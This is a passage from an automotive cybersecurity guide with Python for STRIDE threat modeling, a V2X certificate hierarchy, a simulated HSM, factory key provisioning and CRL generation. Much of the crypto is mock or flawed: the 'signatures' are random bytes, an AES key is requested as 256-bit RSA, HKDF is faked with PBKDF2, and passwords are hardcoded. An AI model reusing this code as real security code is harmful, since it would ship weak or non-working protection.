successfully\"\n  dependencies:\n    - build_secure\n    - static_analysis\n    - fuzz_testing\n  artifacts:\n    paths:\n      - bin\u002Ffirmware.bin\n      - bin\u002Ffirmware.sig\n  only:\n    - main\n    - release\u002F*\n```\n\n## Threat Modeling (STRIDE)\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nSTRIDE Threat Modeling for Automotive Systems\nSystematic identification of security threats\n\"\"\"\n\nfrom enum import Enum\nfrom dataclasses import dataclass\nfrom typing import List\n\nclass ThreatCategory(Enum):\n    SPOOFING = \"Spoofing\"\n    TAMPERING = \"Tampering\"\n    REPUDIATION = \"Repudiation\"\n    INFORMATION_DISCLOSURE = \"Information Disclosure\"\n    DENIAL_OF_SERVICE = \"Denial of Service\"\n    ELEVATION_OF_PRIVILEGE = \"Elevation of Privilege\"\n\n@dataclass\nclass Threat:\n    category: ThreatCategory\n    description: str\n    asset: str\n    mitigation: str\n    severity: str  # \"Critical\", \"High\", \"Medium\", \"Low\"\n\nclass STRIDEThreatModeler:\n    \"\"\"STRIDE threat modeling tool\"\"\"\n\n    def __init__(self, system_name: str):\n        self.system_name = system_name\n        self.threats = []\n\n    def model_data_flow(self, source: str, destination: str, protocol: str):\n        \"\"\"Model threats in data flow\"\"\"\n        print(f\"\\n=== Threat Modeling: {source} -> {destination} ({protocol}) ===\")\n\n        # Spoofing\n        self.threats.append(Threat(\n            category=ThreatCategory.SPOOFING,\n            description=f\"Attacker impersonates {source} to send malicious data to {destination}\",\n            asset=f\"Data flow: {source} -> {destination}\",\n            mitigation=\"Implement message authentication (MAC\u002Fdigital signature)\",\n            severity=\"High\"\n        ))\n\n        # Tampering\n        self.threats.append(Threat(\n            category=ThreatCategory.TAMPERING,\n            description=f\"Attacker modifies data in transit from {source} to {destination}\",\n            asset=f\"Data flow: {source} -> {destination}\",\n            mitigation=\"Implement data integrity checks (HMAC, CRC with authentication)\",\n            severity=\"High\"\n        ))\n\n        # Information Disclosure\n        self.threats.append(Threat(\n            category=ThreatCategory.INFORMATION_DISCLOSURE,\n            description=f\"Attacker eavesdrops on {protocol} communication\",\n            asset=f\"Data flow: {source} -> {destination}\",\n            mitigation=\"Implement encryption (TLS 1.3, AES-256-GCM)\",\n            severity=\"Medium\" if \"telemetry\" in source.lower() else \"High\"\n        ))\n\n        # Denial of Service\n        self.threats.append(Threat(\n            category=ThreatCategory.DENIAL_OF_SERVICE,\n            description=f\"Attacker floods {protocol} channel to prevent legitimate communication\",\n            asset=f\"Data flow: {source} -> {destination}\",\n            mitigation=\"Implement rate limiting and traffic shaping\",\n            severity=\"Medium\"\n        ))\n\n    def generate_threat_report(self, output_file: str):\n        \"\"\"Generate threat model report\"\"\"\n        with open(output_file, 'w') as f:\n            f.write(f\"STRIDE Threat Model Report: {self.system_name}\\n\")\n            f.write(\"=\" * 60 + \"\\n\\n\")\n\n            # Group by severity\n            critical = [t for t in self.threats if t.severity == \"Critical\"]\n            high = [t for t in self.threats if t.severity == \"High\"]\n            medium = [t for t in self.threats if t.severity == \"Medium\"]\n            low = [t for t in self.threats if t.severity == \"Low\"]\n\n            f.write(f\"Total threats identified: {len(self.threats)}\\n\")\n            f.write(f\"  Critical: {len(critical)}\\n\")\n            f.write(f\"  High: {len(high)}\\n\")\n            f.write(f\"  Medium: {len(medium)}\\n\")\n            f.write(f\"  Low: {len(low)}\\n\\n\")\n\n            # Detail threats\n            for threat in self.threats:\n                f.write(f\"\\n[{threat.severity}] {threat.category.value}\\n\")\n                f.write(f\"  Description: {threat.description}\\n\")\n                f.write(f\"  Asset: {threat.asset}\\n\")\n                f.write(f\"  Mitigation: {threat.mitigation}\\n\")\n\n        print(f\"[INFO] Threat model report: {output_file}\")\n\n# Example usage\nif __name__ == \"__main__\":\n    modeler = STRIDEThreatModeler(\"Telematics Control Unit (TCU)\")\n\n    # Model data flows\n    modeler.model_data_flow(\"TCU\", \"Cloud Backend\", \"HTTPS\u002FTLS\")\n    modeler.model_data_flow(\"TCU\", \"Gateway ECU\", \"CAN\")\n    modeler.model_data_flow(\"Mobile App\", \"TCU\", \"Bluetooth LE\")\n\n    # Generate report\n    modeler.generate_threat_report(\"\u002Ftmp\u002Fstride_threat_model.txt\")\n```\n\n## Best Practices\n\n1. **Defense in Depth**: Multiple security layers (code quality + runtime protection + monitoring)\n2. **Shift Left**: Integrate security early in SDLC (design phase threat modeling)\n3. **Automated Enforcement**: CI\u002FCD gates for MISRA compliance, static analysis, fuzzing\n4. **Continuous Monitoring**: Track new CVEs, update dependencies, patch promptly\n5. **Security Training**: Mandatory secure coding training for all developers\n\n## References\n\n- MISRA C:2012 Guidelines for C\n- CERT C Secure Coding Standard\n- AUTOSAR C++14 Coding Guidelines\n- OWASP Secure Coding Practices\n- ISO\u002FSAE 21434: Cybersecurity Engineering\n\n---\n\n## Vehicle Pki Crypto\n\n# Vehicle PKI & Cryptography Skill\n\n## Overview\n\nExpert skill for implementing PKI (Public Key Infrastructure) in automotive systems. Covers V2X certificate management, HSM key storage, cryptographic algorithms (AES-256, RSA-4096, ECDSA), secure key provisioning, and certificate lifecycle management.\n\n## Core Competencies\n\n### PKI Architecture\n- **Certificate Authority (CA) Hierarchy**: Root CA → Enrollment CA → Pseudonym CA\n- **V2X Certificates**: IEEE 1609.2, ETSI TS 103 097 standards\n- **Certificate Provisioning**: Factory provisioning, enrollment protocols\n- **Certificate Lifecycle**: Issuance, renewal, revocation (CRL\u002FOCSP)\n- **HSM Integration**: Secure key generation and storage\n\n### Cryptographic Standards\n- **Symmetric**: AES-256-GCM, ChaCha20-Poly1305\n- **Asymmetric**: RSA-4096, ECDSA-P256\u002FP384, EdDSA\n- **Hash**: SHA-256, SHA-384, SHA-3\n- **Key Exchange**: ECDH, X25519\n- **TLS**: TLS 1.3 with perfect forward secrecy\n\n## V2X PKI Implementation (IEEE 1609.2)\n\n### Certificate Structure\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nIEEE 1609.2 V2X Certificate Implementation\nSupports US (SCMS) and EU (CCMS) PKI architectures\n\"\"\"\n\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtensionOID\nfrom datetime import datetime, timedelta\nimport struct\n\nclass V2XCertificate:\n    \"\"\"IEEE 1609.2 Certificate for V2V\u002FV2I communication\"\"\"\n\n    def __init__(self, cert_type: str):\n        \"\"\"\n        Initialize V2X certificate\n        cert_type: \"enrollment\", \"application\", \"pseudonym\"\n        \"\"\"\n        self.cert_type = cert_type\n        self.private_key = None\n        self.certificate = None\n        self.cert_chain = []\n\n    def generate_enrollment_certificate(self, ca_cert, ca_key, vehicle_id: str):\n        \"\"\"\n        Generate long-term enrollment certificate (valid 3-5 years)\n        Used to request pseudonym certificates from PCA\n        \"\"\"\n        print(f\"\\n=== Generating Enrollment Certificate for {vehicle_id} ===\")\n\n        # Generate key pair (ECDSA P-256 for V2X)\n        self.private_key = ec.generate_private_key(ec.SECP256R1(), default_backend())\n\n        subject = x509.Name([\n            x509.NameAttribute(NameOID.COUNTRY_NAME, \"US\"),\n            x509.NameAttribute(NameOID.ORGANIZATION_NAME, \"SCMS\"),\n            x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, \"Enrollment\"),\n            x509.NameAttribute(NameOID.COMMON_NAME, vehicle_id),\n        ])\n\n        # Certificate valid for 3 years\n        valid_from = datetime.utcnow()\n        valid_to = valid_from + timedelta(days=3*365)\n\n        builder = x509.CertificateBuilder()\n        builder = builder.subject_name(subject)\n        builder = builder.issuer_name(ca_cert.subject)\n        builder = builder.public_key(self.private_key.public_key())\n        builder = builder.serial_number(x509.random_serial_number())\n        builder = builder.not_valid_before(valid_from)\n        builder = builder.not_valid_after(valid_to)\n\n        # Add extensions\n        builder = builder.add_extension(\n            x509.BasicConstraints(ca=False, path_length=None),\n            critical=True\n        )\n\n        builder = builder.add_extension(\n            x509.KeyUsage(\n                digital_signature=True,\n                key_encipherment=True,\n                content_commitment=False,\n                data_encipherment=False,\n                key_agreement=False,\n                key_cert_sign=False,\n                crl_sign=False,\n                encipher_only=False,\n                decipher_only=False,\n            ),\n            critical=True\n        )\n\n        # Sign certificate\n        self.certificate = builder.sign(ca_key, hashes.SHA256(), default_backend())\n\n        print(f\"[INFO] Enrollment certificate generated\")\n        print(f\"[INFO] Serial: {self.certificate.serial_number}\")\n        print(f\"[INFO] Valid: {valid_from} to {valid_to}\")\n        print(f\"[INFO] Subject: {vehicle_id}\")\n\n        return self.certificate\n\n    def generate_pseudonym_certificate(self, pca_cert, pca_key, duration_weeks: int = 1):\n        \"\"\"\n        Generate short-term pseudonym certificate (valid 1 week)\n        Used for actual V2X communication to preserve privacy\n        \"\"\"\n        print(f\"\\n=== Generating Pseudonym Certificate (valid {duration_weeks} weeks) ===\")\n\n        # Generate ephemeral key pair\n        self.private_key = ec.generate_private_key(ec.SECP256R1(), default_backend())\n\n        # Pseudonym certificates use opaque identifiers, not vehicle ID\n        pseudonym_id = f\"PSID-{x509.random_serial_number():016X}\"\n\n        subject = x509.Name([\n            x509.NameAttribute(NameOID.COUNTRY_NAME, \"US\"),\n            x509.NameAttribute(NameOID.ORGANIZATION_NAME, \"SCMS\"),\n            x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, \"Pseudonym\"),\n            x509.NameAttribute(NameOID.COMMON_NAME, pseudonym_id),\n        ])\n\n        valid_from = datetime.utcnow()\n        valid_to = valid_from + timedelta(weeks=duration_weeks)\n\n        builder = x509.CertificateBuilder()\n        builder = builder.subject_name(subject)\n        builder = builder.issuer_name(pca_cert.subject)\n        builder = builder.public_key(self.private_key.public_key())\n        builder = builder.serial_number(x509.random_serial_number())\n        builder = builder.not_valid_before(valid_from)\n        builder = builder.not_valid_after(valid_to)\n\n        # Add V2X-specific extensions\n        builder = builder.add_extension(\n            x509.BasicConstraints(ca=False, path_length=None),\n            critical=True\n        )\n\n        # Application permissions (Service-Specific Permissions)\n        # Example: CAM (Cooperative Awareness Message), DENM (Decentralized Environmental Notification)\n        # Real implementation would use IEEE 1609.2 ASN.1 structures\n        builder = builder.add_extension(\n            x509.UnrecognizedExtension(\n                x509.ObjectIdentifier(\"1.2.840.10045.2.1\"),  # Example OID\n                b'\\x01\\x02\\x03\\x04'  # SSP bitmask\n            ),\n            critical=False\n        )\n\n        self.certificate = builder.sign(pca_key, hashes.SHA256(), default_backend())\n\n        print(f\"[INFO] Pseudonym certificate generated\")\n        print(f\"[INFO] Serial: {self.certificate.serial_number}\")\n        print(f\"[INFO] PSID: {pseudonym_id}\")\n        print(f\"[INFO] Valid: {valid_from} to {valid_to}\")\n\n        return self.certificate\n\n    def export_certificate_chain(self, output_path: str):\n        \"\"\"Export certificate with full chain in PEM format\"\"\"\n        with open(output_path, 'wb') as f:\n            # Leaf certificate\n            f.write(self.certificate.public_bytes(serialization.Encoding.PEM))\n\n            # Intermediate certificates\n            for cert in self.cert_chain:\n                f.write(cert.public_bytes(serialization.Encoding.PEM))\n\n        print(f\"[INFO] Certificate chain exported: {output_path}\")\n\n    def export_private_key_encrypted(self, output_path: str, password: bytes):\n        \"\"\"Export private key with encryption (for backup only - HSM preferred)\"\"\"\n        pem = self.private_key.private_bytes(\n            encoding=serialization.Encoding.PEM,\n            format=serialization.PrivateFormat.PKCS8,\n            encryption_algorithm=serialization.BestAvailableEncryption(password)\n        )\n\n        with open(output_path, 'wb') as f:\n            f.write(pem)\n\n        print(f\"[WARN] Private key exported (encrypted): {output_path}\")\n        print(f\"[WARN] Store in HSM for production use\")\n\n\nclass V2XPKIManager:\n    \"\"\"Manage V2X PKI infrastructure\"\"\"\n\n    def __init__(self):\n        self.root_ca_cert = None\n        self.root_ca_key = None\n        self.enrollment_ca_cert = None\n        self.enrollment_ca_key = None\n        self.pseudonym_ca_cert = None\n        self.pseudonym_ca_key = None\n\n    def create_root_ca(self, common_name: str = \"V2X Root CA\"):\n        \"\"\"Create root CA (offline, air-gapped storage)\"\"\"\n        print(f\"\\n=== Creating Root CA: {common_name} ===\")\n\n        # Generate RSA-4096 key (root CA uses RSA for broader compatibility)\n        from cryptography.hazmat.primitives.asymmetric import rsa\n        self.root_ca_key = rsa.generate_private_key(\n            public_exponent=65537,\n            key_size=4096,\n            backend=default_backend()\n        )\n\n        subject = issuer = x509.Name([\n            x509.NameAttribute(NameOID.COUNTRY_NAME, \"US\"),\n            x509.NameAttribute(NameOID.ORGANIZATION_NAME, \"SCMS\"),\n            x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, \"Root CA\"),\n            x509.NameAttribute(NameOID.COMMON_NAME, common_name),\n        ])\n\n        valid_from = datetime.utcnow()\n        valid_to = valid_from + timedelta(days=20*365)  # 20 years\n\n        builder = x509.CertificateBuilder()\n        builder = builder.subject_name(subject)\n        builder = builder.issuer_name(issuer)\n        builder = builder.public_key(self.root_ca_key.public_key())\n        builder = builder.serial_number(x509.random_serial_number())\n        builder = builder.not_valid_before(valid_from)\n        builder = builder.not_valid_after(valid_to)\n\n        builder = builder.add_extension(\n            x509.BasicConstraints(ca=True, path_length=2),\n            critical=True\n        )\n\n        builder = builder.add_extension(\n            x509.KeyUsage(\n                digital_signature=False,\n                key_encipherment=False,\n                content_commitment=False,\n                data_encipherment=False,\n                key_agreement=False,\n                key_cert_sign=True,\n                crl_sign=True,\n                encipher_only=False,\n                decipher_only=False,\n            ),\n            critical=True\n        )\n\n        self.root_ca_cert = builder.sign(self.root_ca_key, hashes.SHA256(), default_backend())\n\n        print(f\"[INFO] Root CA created\")\n        print(f\"[INFO] Valid for 20 years\")\n        print(f\"[WARN] Store root CA private key in air-gapped HSM\")\n\n        return self.root_ca_cert\n\n    def create_intermediate_ca(self, ca_type: str, common_name: str):\n        \"\"\"Create intermediate CA (Enrollment CA or Pseudonym CA)\"\"\"\n        print(f\"\\n=== Creating {ca_type} CA: {common_name} ===\")\n\n        # Generate ECDSA P-384 key (intermediate CAs use ECC)\n        ca_key = ec.generate_private_key(ec.SECP384R1(), default_backend())\n\n        subject = x509.Name([\n            x509.NameAttribute(NameOID.COUNTRY_NAME, \"US\"),\n            x509.NameAttribute(NameOID.ORGANIZATION_NAME, \"SCMS\"),\n            x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, ca_type),\n            x509.NameAttribute(NameOID.COMMON_NAME, common_name),\n        ])\n\n        valid_from = datetime.utcnow()\n        valid_to = valid_from + timedelta(days=10*365)  # 10 years\n\n        builder = x509.CertificateBuilder()\n        builder = builder.subject_name(subject)\n        builder = builder.issuer_name(self.root_ca_cert.subject)\n        builder = builder.public_key(ca_key.public_key())\n        builder = builder.serial_number(x509.random_serial_number())\n        builder = builder.not_valid_before(valid_from)\n        builder = builder.not_valid_after(valid_to)\n\n        builder = builder.add_extension(\n            x509.BasicConstraints(ca=True, path_length=0),\n            critical=True\n        )\n\n        builder = builder.add_extension(\n            x509.KeyUsage(\n                digital_signature=False,\n                key_encipherment=False,\n                content_commitment=False,\n                data_encipherment=False,\n                key_agreement=False,\n                key_cert_sign=True,\n                crl_sign=True,\n                encipher_only=False,\n                decipher_only=False,\n            ),\n            critical=True\n        )\n\n        ca_cert = builder.sign(self.root_ca_key, hashes.SHA256(), default_backend())\n\n        if ca_type == \"Enrollment\":\n            self.enrollment_ca_cert = ca_cert\n            self.enrollment_ca_key = ca_key\n        elif ca_type == \"Pseudonym\":\n            self.pseudonym_ca_cert = ca_cert\n            self.pseudonym_ca_key = ca_key\n\n        print(f\"[INFO] {ca_type} CA created\")\n        print(f\"[INFO] Valid for 10 years\")\n\n        return ca_cert, ca_key\n\n# Example usage\ndef demo_v2x_pki():\n    # Step 1: Create PKI hierarchy\n    pki = V2XPKIManager()\n    pki.create_root_ca(\"V2X SCMS Root CA\")\n    pki.create_intermediate_ca(\"Enrollment\", \"V2X Enrollment CA\")\n    pki.create_intermediate_ca(\"Pseudonym\", \"V2X Pseudonym CA\")\n\n    # Step 2: Vehicle enrollment\n    vehicle = V2XCertificate(\"enrollment\")\n    enrollment_cert = vehicle.generate_enrollment_certificate(\n        pki.enrollment_ca_cert,\n        pki.enrollment_ca_key,\n        vehicle_id=\"VIN-1HGBH41JXMN109186\"\n    )\n\n    vehicle.export_certificate_chain(\"\u002Ftmp\u002Fvehicle_enrollment.pem\")\n    vehicle.export_private_key_encrypted(\"\u002Ftmp\u002Fvehicle_enrollment.key\", b\"SecurePassword123\")\n\n    # Step 3: Request pseudonym certificates (batch of 20)\n    print(\"\\n=== Requesting Pseudonym Certificate Batch ===\")\n    pseudonyms = []\n    for i in range(20):\n        psid_cert = V2XCertificate(\"pseudonym\")\n        psid_cert.generate_pseudonym_certificate(\n            pki.pseudonym_ca_cert,\n            pki.pseudonym_ca_key,\n            duration_weeks=1\n        )\n        pseudonyms.append(psid_cert)\n\n    print(f\"[INFO] {len(pseudonyms)} pseudonym certificates generated\")\n    print(f\"[INFO] Vehicle will rotate certificates weekly for privacy\")\n\nif __name__ == \"__main__\":\n    demo_v2x_pki()\n```\n\n## HSM Integration for Key Storage\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nHSM (Hardware Security Module) Integration\nSecure key generation and cryptographic operations\nSupports PKCS#11 interface (common in automotive HSMs)\n\"\"\"\n\nimport os\nfrom cryptography.hazmat.primitives.asymmetric import rsa, ec\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.backends import default_backend\n\nclass HSMInterface:\n    \"\"\"Interface to Hardware Security Module via PKCS#11\"\"\"\n\n    def __init__(self, hsm_slot: int = 0, pin: str = \"1234\"):\n        \"\"\"\n        Initialize HSM connection\n        hsm_slot: Hardware slot ID (0-based)\n        pin: User PIN for authentication\n        \"\"\"\n        self.slot = hsm_slot\n        self.pin = pin\n        self.session = None\n\n        print(f\"=== HSM Initialization ===\")\n        print(f\"[INFO] Slot: {hsm_slot}\")\n\n    def open_session(self):\n        \"\"\"Open HSM session\"\"\"\n        # Real implementation would use PyKCS11 or python-pkcs11\n        # Simulated for demonstration\n        print(f\"[INFO] Opening HSM session (Slot {self.slot})...\")\n        print(f\"[INFO] Authenticating with PIN...\")\n        self.session = f\"HSM_SESSION_{self.slot}\"\n        print(f\"[PASS] HSM session opened\")\n        return True\n\n    def generate_rsa_keypair(self, key_label: str, key_size: int = 4096, exportable: bool = False):\n        \"\"\"\n        Generate RSA key pair in HSM\n        key_label: Unique identifier for key\n        key_size: 2048, 3072, or 4096\n        exportable: Allow private key export (FALSE for production)\n        \"\"\"\n        print(f\"\\n=== Generating RSA-{key_size} Key Pair in HSM ===\")\n        print(f\"[INFO] Label: {key_label}\")\n        print(f\"[WARN] Exportable: {exportable}\")\n\n        if exportable:\n            print(f\"[WARN] Exportable keys are security risk - use only for testing\")\n\n        # In real HSM:\n        # - Key generation happens inside tamper-resistant hardware\n        # - Private key never leaves HSM\n        # - Only public key and key handle are returned\n\n        # Simulate key generation\n        private_key = rsa.generate_private_key(\n            public_exponent=65537,\n            key_size=key_size,\n            backend=default_backend()\n        )\n\n        public_key = private_key.public_key()\n\n        # Return key handle (not actual key)\n        key_handle = f\"HSM_KEY_{key_label}_{os.urandom(4).hex()}\"\n\n        print(f\"[PASS] RSA key pair generated\")\n        print(f\"[INFO] Key handle: {key_handle}\")\n        print(f\"[INFO] Public key available for export\")\n        print(f\"[INFO] Private key secured in HSM (non-exportable)\")\n\n        return key_handle, public_key\n\n    def generate_ecc_keypair(self, key_label: str, curve: str = \"P-256\", exportable: bool = False):\n        \"\"\"\n        Generate ECC key pair in HSM\n        curve: \"P-256\", \"P-384\", or \"P-521\"\n        \"\"\"\n        print(f\"\\n=== Generating ECC-{curve} Key Pair in HSM ===\")\n        print(f\"[INFO] Label: {key_label}\")\n\n        curve_map = {\n            \"P-256\": ec.SECP256R1(),\n            \"P-384\": ec.SECP384R1(),\n            \"P-521\": ec.SECP521R1()\n        }\n\n        private_key = ec.generate_private_key(curve_map[curve], default_backend())\n        public_key = private_key.public_key()\n\n        key_handle = f\"HSM_KEY_{key_label}_{os.urandom(4).hex()}\"\n\n        print(f\"[PASS] ECC key pair generated\")\n        print(f\"[INFO] Key handle: {key_handle}\")\n\n        return key_handle, public_key\n\n    def sign_data(self, key_handle: str, data: bytes, algorithm: str = \"SHA256\") -> bytes:\n        \"\"\"\n        Sign data using HSM-stored private key\n        Returns signature without exposing private key\n        \"\"\"\n        print(f\"\\n=== HSM Signing Operation ===\")\n        print(f\"[INFO] Key handle: {key_handle}\")\n        print(f\"[INFO] Algorithm: {algorithm}\")\n        print(f\"[INFO] Data size: {len(data)} bytes\")\n\n        # In real HSM:\n        # - Data is sent to HSM\n        # - HSM performs signature operation internally\n        # - Only signature is returned\n\n        # Simulate signing\n        signature = os.urandom(512)  # RSA-4096 signature size\n\n        print(f\"[PASS] Signature generated ({len(signature)} bytes)\")\n        return signature\n\n    def encrypt_data(self, key_handle: str, plaintext: bytes) -> bytes:\n        \"\"\"Encrypt data using HSM key\"\"\"\n        print(f\"\\n=== HSM Encryption Operation ===\")\n        print(f\"[INFO] Key handle: {key_handle}\")\n        print(f\"[INFO] Plaintext size: {len(plaintext)} bytes\")\n\n        # Simulate AES-256-GCM encryption in HSM\n        ciphertext = os.urandom(len(plaintext) + 16)  # +16 for GCM tag\n\n        print(f\"[PASS] Data encrypted ({len(ciphertext)} bytes)\")\n        return ciphertext\n\n    def export_public_key(self, key_handle: str, output_path: str):\n        \"\"\"Export public key (private key remains in HSM)\"\"\"\n        print(f\"\\n=== Exporting Public Key ===\")\n        print(f\"[INFO] Key handle: {key_handle}\")\n\n        # Simulate public key export\n        dummy_key = rsa.generate_private_key(65537, 4096, default_backend()).public_key()\n\n        pem = dummy_key.public_bytes(\n            encoding=serialization.Encoding.PEM,\n            format=serialization.PublicFormat.SubjectPublicKeyInfo\n        )\n\n        with open(output_path, 'wb') as f:\n            f.write(pem)\n\n        print(f\"[PASS] Public key exported: {output_path}\")\n        print(f\"[INFO] Private key remains secured in HSM\")\n\n    def close_session(self):\n        \"\"\"Close HSM session\"\"\"\n        print(f\"\\n[INFO] Closing HSM session...\")\n        self.session = None\n        print(f\"[PASS] HSM session closed\")\n\n\n# Example: Secure key provisioning flow\ndef demo_hsm_provisioning():\n    hsm = HSMInterface(hsm_slot=0, pin=\"123456\")\n    hsm.open_session()\n\n    # Generate enrollment key pair (long-term, non-exportable)\n    enrollment_key_handle, enrollment_pubkey = hsm.generate_ecc_keypair(\n        key_label=\"VEHICLE_ENROLLMENT_KEY\",\n        curve=\"P-256\",\n        exportable=False\n    )\n\n    # Export public key for CA signing\n    hsm.export_public_key(enrollment_key_handle, \"\u002Ftmp\u002Fenrollment_pubkey.pem\")\n\n    # Generate firmware signing key (OEM root of trust)\n    fw_signing_key_handle, fw_pubkey = hsm.generate_rsa_keypair(\n        key_label=\"OEM_FIRMWARE_SIGNING_KEY\",\n        key_size=4096,\n        exportable=False\n    )\n\n    # Sign firmware image\n    firmware_data = b\"FIRMWARE_IMAGE_BINARY_DATA\" * 1000\n    signature = hsm.sign_data(fw_signing_key_handle, firmware_data, algorithm=\"SHA256\")\n\n    # Generate symmetric key for data encryption\n    aes_key_handle, _ = hsm.generate_rsa_keypair(\n        key_label=\"DATA_ENCRYPTION_KEY\",\n        key_size=256,  # Actually AES-256, not RSA\n        exportable=False\n    )\n\n    # Encrypt telemetry data\n    telemetry_data = b\"VEHICLE_TELEMETRY_JSON_DATA\"\n    encrypted = hsm.encrypt_data(aes_key_handle, telemetry_data)\n\n    hsm.close_session()\n\nif __name__ == \"__main__\":\n    demo_hsm_provisioning()\n```\n\n## Secure Key Provisioning (Factory)\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nSecure Key Provisioning for Vehicle Manufacturing\nKeys injected during production in secure facility\n\"\"\"\n\nimport secrets\nimport hashlib\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\nclass SecureKeyProvisioning:\n    \"\"\"Factory key injection system\"\"\"\n\n    def __init__(self):\n        self.master_key = None\n        self.provisioned_devices = {}\n\n    def load_master_key(self, master_key_path: str):\n        \"\"\"Load factory master key (HSM-backed)\"\"\"\n        print(\"=== Loading Factory Master Key ===\")\n        # In production: master key stored in HSM, never exported\n        self.master_key = secrets.token_bytes(32)  # AES-256\n        print(\"[INFO] Master key loaded from HSM\")\n\n    def derive_device_key(self, vin: str) -> bytes:\n        \"\"\"Derive unique device key from VIN using KDF\"\"\"\n        print(f\"\\n=== Deriving Device Key for VIN: {vin} ===\")\n\n        # HKDF (HMAC-based Key Derivation Function)\n        salt = b\"VEHICLE_KEY_DERIVATION_SALT\"\n        info = vin.encode('utf-8')\n\n        # Simplified HKDF (use cryptography.hazmat.primitives.kdf.hkdf in production)\n        prk = hashlib.pbkdf2_hmac('sha256', self.master_key, salt, 100000)\n        okm = hashlib.pbkdf2_hmac('sha256', prk, info, 1)[:32]\n\n        print(f\"[INFO] Device key derived (32 bytes)\")\n        return okm\n\n    def provision_vehicle(self, vin: str, ecu_serial: str):\n        \"\"\"Provision cryptographic keys to vehicle ECU\"\"\"\n        print(f\"\\n=== Vehicle Key Provisioning ===\")\n        print(f\"[INFO] VIN: {vin}\")\n        print(f\"[INFO] ECU Serial: {ecu_serial}\")\n\n        # Derive unique device key\n        device_key = self.derive_device_key(vin)\n\n        # Generate enrollment private key\n        from cryptography.hazmat.primitives.asymmetric import ec\n        enrollment_key = ec.generate_private_key(ec.SECP256R1(), default_backend())\n\n        # Encrypt private key with device key (for secure storage in ECU flash)\n        encrypted_key = self._encrypt_key(enrollment_key, device_key)\n\n        # Program to ECU secure storage\n        provisioning_data = {\n            \"vin\": vin,\n            \"ecu_serial\": ecu_serial,\n            \"device_key_hash\": hashlib.sha256(device_key).hexdigest(),\n            \"encrypted_enrollment_key\": encrypted_key.hex(),\n            \"provisioning_timestamp\": \"2026-03-19T12:00:00Z\"\n        }\n\n        self.provisioned_devices[vin] = provisioning_data\n\n        print(f\"[PASS] Vehicle provisioned successfully\")\n        print(f\"[INFO] Keys stored in ECU secure flash\")\n\n        return provisioning_data\n\n    def _encrypt_key(self, private_key, device_key: bytes) -> bytes:\n        \"\"\"Encrypt private key with device key using AES-256-GCM\"\"\"\n        from cryptography.hazmat.primitives import serialization\n\n        # Serialize private key\n        key_bytes = private_key.private_bytes(\n            encoding=serialization.Encoding.DER,\n            format=serialization.PrivateFormat.PKCS8,\n            encryption_algorithm=serialization.NoEncryption()\n        )\n\n        # Encrypt with AES-256-GCM\n        iv = secrets.token_bytes(12)\n        cipher = Cipher(\n            algorithms.AES(device_key),\n            modes.GCM(iv),\n            backend=default_backend()\n        )\n        encryptor = cipher.encryptor()\n        ciphertext = encryptor.update(key_bytes) + encryptor.finalize()\n\n        # Return IV + ciphertext + tag\n        return iv + ciphertext + encryptor.tag\n\n# Example usage\ndef demo_factory_provisioning():\n    provisioner = SecureKeyProvisioning()\n    provisioner.load_master_key(\"\u002Fsecure\u002Fmaster_key.bin\")\n\n    # Provision 3 vehicles\n    vins = [\n        \"1HGBH41JXMN109186\",\n        \"5YJSA1E26HF123456\",\n        \"WBAJE5C59HG987654\"\n    ]\n\n    for i, vin in enumerate(vins):\n        provisioner.provision_vehicle(vin, f\"ECU-TCU-{1000 + i}\")\n\n    print(f\"\\n=== Provisioning Complete ===\")\n    print(f\"[INFO] {len(provisioner.provisioned_devices)} vehicles provisioned\")\n\nif __name__ == \"__main__\":\n    demo_factory_provisioning()\n```\n\n## Certificate Revocation (CRL\u002FOCSP)\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nCertificate Revocation List (CRL) and OCSP Implementation\n\"\"\"\n\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.x509.oid import ExtensionOID\nfrom datetime import datetime, timedelta\n\nclass CertificateRevocationManager:\n    \"\"\"Manage certificate revocation for V2X PKI\"\"\"\n\n    def __init__(self, ca_cert, ca_key):\n        self.ca_cert = ca_cert\n        self.ca_key = ca_key\n        self.revoked_certs = []\n\n    def revoke_certificate(self, cert_serial: int, reason: str = \"unspecified\"):\n        \"\"\"Add certificate to revocation list\"\"\"\n        print(f\"\\n=== Revoking Certificate ===\")\n        print(f\"[INFO] Serial: {cert_serial}\")\n        print(f\"[INFO] Reason: {reason}\")\n\n        revocation_date = datetime.utcnow()\n\n        revoked_cert = x509.RevokedCertificateBuilder().serial_number(\n            cert_serial\n        ).revocation_date(\n            revocation_date\n        ).add_extension(\n            x509.CRLReason(x509.ReasonFlags[reason]),\n            critical=False\n        ).build(default_backend())\n\n        self.revoked_certs.append(revoked_cert)\n\n        print(f\"[PASS] Certificate revoked\")\n\n    def generate_crl(self, output_path: str):\n        \"\"\"Generate Certificate Revocation List\"\"\"\n        print(f\"\\n=== Generating CRL ===\")\n\n        builder = x509.CertificateRevocationListBuilder()\n        builder = builder.issuer_name(self.ca_cert.subject)\n        builder = builder.last_update(datetime.utcnow())\n        builder = builder.next_update(datetime.utcnow() + timedelta(days=7))\n\n        for revoked_cert in self.revoked_certs:\n            builder = builder.add_revoked_certificate(revoked_cert)\n\n        crl = builder.sign(self.ca_key, hashes.SHA256(), default_backend())\n\n        with open(output_path, 'wb') as f:\n            f.write(crl.public_bytes(serialization.Encoding.PEM))\n\n        print(f\"[INFO] CRL generated: {output_path}\")\n        print(f\"[INFO] Revoked certificates: {len(self.revoked_certs)}\")\n        